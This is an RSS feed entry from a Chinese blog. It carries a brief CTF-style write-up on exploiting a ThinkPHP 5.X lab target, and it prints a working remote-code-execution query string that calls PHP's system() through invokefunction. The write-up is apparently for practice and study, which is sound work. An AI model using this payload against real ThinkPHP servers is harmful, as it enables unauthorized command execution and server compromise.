<?xml version="1.0" encoding="utf-8" ?><rss version="2.0"><channel><title><![CDATA[D1FFERENT的博客]]></title><description><![CDATA[]]></description><link>https://blog.youkuaiyun.com/D1FFERENT</link><language>zh-cn</language><generator>https://blog.youkuaiyun.com/</generator><copyright><![CDATA[Copyright &copy; D1FFERENT]]></copyright><item><title><![CDATA[ThinkPHP 5.X版本网页提权测试（CTF常见题型）]]></title><link>https://blog.youkuaiyun.com/D1FFERENT/article/details/109147206</link><guid>https://blog.youkuaiyun.com/D1FFERENT/article/details/109147206</guid><author>D1FFERENT</author><pubDate>Sun, 18 Oct 2020 17:05:54 +0800</pubDate><description><![CDATA[ThinkPHP 5.X版本网页提权测试

首先靶机地址http://192.168.1.111
登录
发现版本是thinkphp 5.X版本
果断kali进行搜索tinkphp拼接漏洞

CD到5.X目录下 查看文件 46150.txt

选用一条常用命令
?s=index/\think\app/invokefunction&amp;function=call_user_func_array&amp;vars[0]=system&amp;vars[1][]=cmd
进行url的index.php后拼接

]]></description><category></category></item></channel></rss>